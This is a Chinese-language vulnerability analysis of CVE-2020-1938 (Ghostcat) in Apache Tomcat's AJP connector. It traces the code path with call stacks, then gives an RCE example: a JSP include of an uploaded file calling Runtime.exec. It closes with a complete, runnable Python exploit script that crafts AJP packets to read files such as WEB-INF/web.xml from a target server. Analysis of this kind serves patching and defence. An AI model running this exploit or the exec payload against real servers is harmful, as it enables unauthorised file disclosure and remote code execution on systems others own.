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（CVE-2020-1938）Apache Tomcat 文件包含漏洞

一、漏洞简介

对于处在漏洞影响版本范围内的 Tomcat 而言，若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下，即存在被 Ghostcat 漏洞利用的风险。

注意 Tomcat AJP Connector 默认配置下即为开启状态，且监听在 0.0.0.0:8009

二、漏洞影响

  • Apache Tomcat 6

  • Apache Tomcat 7 \< 7.0.100

  • Apache Tomcat 8 \< 8.5.51

  • Apache Tomcat 9 \< 9.0.31

三、复现过程

漏洞分析

由于 AJP 并不是一个 HTTP 业务流，走的是 Socket ，所以 tomcat 前面接收业务流的时候调用的是一个 Socket 解析类 SocketProcessorBase#dorun 来处理 ajp 传入的二进制流。

而后面这部分的数据流实际上都是 socket 内部进行流传处理。

这里需要感谢 tomcat 优雅的代码风格，可读性真强，和 socket 相关的 service 就下图里面的这些，所以AJP的业务流自然就落在了org/apache/coyote/ajp/AjpProcessor#service这个方法上面进行处理。

这org/apache/coyote/ajp/AjpProcessor#service这个方法里面就留两个关键部分，其他代码太繁杂了，无关大雅，这里首先this.prepareRequest()方法是针对整个业务流进行预处理。

Copy to clipboard    public SocketState service(SocketWrapperBase<?> socket) throws IOException {
      ...
        while(!this.getErrorState().isError() && !this.endpoint.isPaused()) {
            try {
              ...
            if (this.getErrorState().isIoAllowed()) {
                rp.setStage(2);

                try {
                    this.prepareRequest();
                } catch (Throwable var12) {
                            ...
            if (this.getErrorState().isIoAllowed()) {
                try {
                    rp.setStage(3);
                    this.getAdapter().service(this.request, this.response);
                } 
              ...
    }

跟进 prepareRequest 方法，这个方法会进行一个 while 为 true 的无限循环，根据attributeCode的结果进行选择，命中 case 10 核心中有个request.setAttribute(n, v)方法，这个方法会从我们之前设置方法中取值，设置，遍历循环POC中的javax.servlet.include.request_uri，javax.servlet.include.path_info，javax.servlet.include.servlet_path这三个属性对应的值，并且通过PUT方法进行赋值。

Copy to clipboard    private void prepareRequest() {
                ...
        while(true) {
            byte attributeCode;
            while((attributeCode = this.requestHeaderMessage.getByte()) != -1) {
                switch(attributeCode) {
                ...
                case 10:
                                        ...
                    } else {
                        this.request.setAttribute(n, v);
                    }
                    break;

好了，这里知道了在 prepareRequest 方法中核心是将三个值动态赋予我们想要的结果，再回到org/apache/coyote/ajp/AjpProcessor#service中，在经过 prepareRequest 方法处理之后来到的就是getAdapter().service(this.request, this.response);，这个 serivce 就是后续处理 request 对象和 response 对象了。

在 org/apache/catalina/connector/CoyoteAdapter#service 这个类中，主要是设置一些连接的时候一些属性，然后通过 invoke 反射方法，根据 request 对象和 response 对象进入后面的HTTP处理逻辑。

所以又回到了前面的老话，tomcat完善的代码结构，HTTP的逻辑服务处理，自然是落在了 javax/servlet/http/HttpServlet#service 当中。

任意文件读取

前面是整个 AJP->HTTP 整个过程，继续往下跟入，因为通过 AJP 转换之后，进行的是 HTTP GET 请求，所以来到的自然是是下图中代码位置。

跟进 doGet 自然来到之前安恒通告说的地方。

继续跟入 serveResource，首先 getRelativePath 从之前传入的 request 对象中获取 path 。

跟进 getRelativePath ，一眼就知道为什么要设置 request_uri 、path_info 、servlet_path 这三个属性了，通过路径的拼接，最后返回的 servletPath 为/，容器内部为 /WEB-INF/web.xml 的文件内容。

继续回到 serveResource 方法中 getResource 根据前面的 path 也就是 /WEB-INF/web.xml 进行资源获取。而这里是没办法../出去的，原因继续往下看。

在 getResource 当中有个 validate ，这个检查往后走会调用 normalize 进行目录遍历的检查，之后就是输出读到的内容了。

由于当前 AJP 出不了 webapps 目录，但是是可以做到任意目录下读的，比如我需要读 /example/2.txt 下的文件，只需要这样配置就好了。

Copy to clipboard    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/examples']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',2.txt]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])

附上任意文件读取的调用栈

Copy to clipboardserveResource:839, DefaultServlet (org.apache.catalina.servlets)
doGet:504, DefaultServlet (org.apache.catalina.servlets)
service:634, HttpServlet (javax.servlet.http)
service:484, DefaultServlet (org.apache.catalina.servlets)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:493, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:137, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:476, AjpProcessor (org.apache.coyote.ajp)
process:66, AbstractProcessorLight (org.apache.coyote)
process:808, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1498, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

RCE

Copy to clipboard"HTTP/1.1" "/1.jsp" 127.0.0.1 localhost porto 8009 false "Cookie:AAAA=BBBB" "javax.servlet.include.request_uri:/","javax.servlet.include.path_info:1.txt","javax.servlet.include.servlet_path:/upload/"

org/apache/jasper/servlet/JspServlet#service负责处理xxx.jsp访问逻辑，跟进来 jspUri 是通过 servlet_path 和 path_info 拼接而来的。

之后便会进入 serviceJspFile 逻辑进行处理。

跟进 serviceJspFile 方法，首先先通过 getResource 获取上传文件的内容，然后再通过初始化 wrapper 对象传入相关参数，然后再调用 JspServletWrapper#service 进行解析。

这简单解释一下，RCE 的核心需要进入的 JspServlet ，我们平常访问 xxx.jsp 是进入到 Jspservlet ，poc中访问/1.jsp通过 AJP 发包的过程中实际上就是我们的Get请求访问www.xxx.com/1.jsp，所以这里自然进入了 JspServlet 当中，然后再配合 getResource 获取上传的文件内容，调用 Jsp 引擎进行解析，自然达到了RCE的效果。

最后附上RCE的调用栈

Copy to clipboardexec:347, Runtime (java.lang)
_jspService:1, _1_txt (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:741, HttpServlet (javax.servlet.http)
service:476, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:386, JspServlet (org.apache.jasper.servlet)
service:330, JspServlet (org.apache.jasper.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:493, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:137, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:476, AjpProcessor (org.apache.coyote.ajp)
process:66, AbstractProcessorLight (org.apache.coyote)
process:808, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1498, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

后话

我试了一下jsp的文件包含，这个demo下也是可以的，所以实际上RCE就是jsp的文件包含搞的鬼，要先上传一个文件，这个文件路径可被包含，然后读取模版解析，最后RCE。

Copy to clipboard//1.jsp
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8" %>
<%@ include file="1.txt" %>

//1.txt
<%@ Runtime.getRuntime().exec("open /System/Applications/Calculator.app");%>

另外前面可能有师傅会问为什么是GET，原因是下面这个POC有forwardrequest 2，根据AJP数据包格式第6个字节(02)代表是Get请求。另外在Tomcat中也有相关映射关系，在 AjpProcessor 做 prepareRequest 处理的时候会根据字节选择相关的请求方式。

poc

(py27)> python .\cve-2020-1938-poc.py -h
usage: cve-2020-1938-poc.py [-h] [-p PORT] [-w WEBAPP] [-f FILE] [-l] target

positional arguments:
  target                Hostname or IP to attack

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  AJP port to attack (default is 8009)
  -w WEBAPP, --webapp WEBAPP
                        Which webapp to attack (default is ROOT
  -f FILE, --file FILE  file path :(WEB-INF/web.xml)
  -l, --lfi             local file include

python2.7

#!/usr/bin/env python
# CNVD-2020-10487  Tomcat-Ajp lfi
# Based on: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
#
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
import socket
import struct
import argparse


def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)


def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)


def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1:  # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1)  # \0
    return res


class NotFoundException(Exception):
    pass


class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186

    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction

    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res

    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break


class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
        28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD,
                       'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
                      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
                      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
                      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
                      ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route",
                  "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]

    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction

    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res

    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res

    def parse(self, raw_packet):
        stream = StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value

    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res


class AjpResponse(object):
    _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(
        7)
    COMMON_SEND_HEADERS = [
        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
    ]

    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000:  # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length+1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r


def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr


class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[], lfi=False):
        if lfi:
            self.req_uri = req_uri + '.jspx'
        else:
            self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(
            self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" %
              (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
                "%s:%s" % (user, password)).encode('base64').replace('\n', '')
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(
            self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" %
                  snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res


parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009,
                    help="AJP port to attack (default is 8009)")
parser.add_argument('-w', '--webapp', type=str, default='ROOT',
                    help="Which webapp to attack (default is ROOT")
parser.add_argument('-f', '--file', type=str,
                    default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('-l', '--lfi', action="store_true",
                    help="local file include")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request('/'+args.webapp+'/', attributes=[
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.path_info', args.file]},
    {'name': 'req_attribute', 'value': [
        'javax.servlet.include.servlet_path', '/']},
], lfi=args.lfi)
print('----------------------------')
print("".join([d.data for d in data]))

参考链接

https://forum.90sec.com/t/topic/801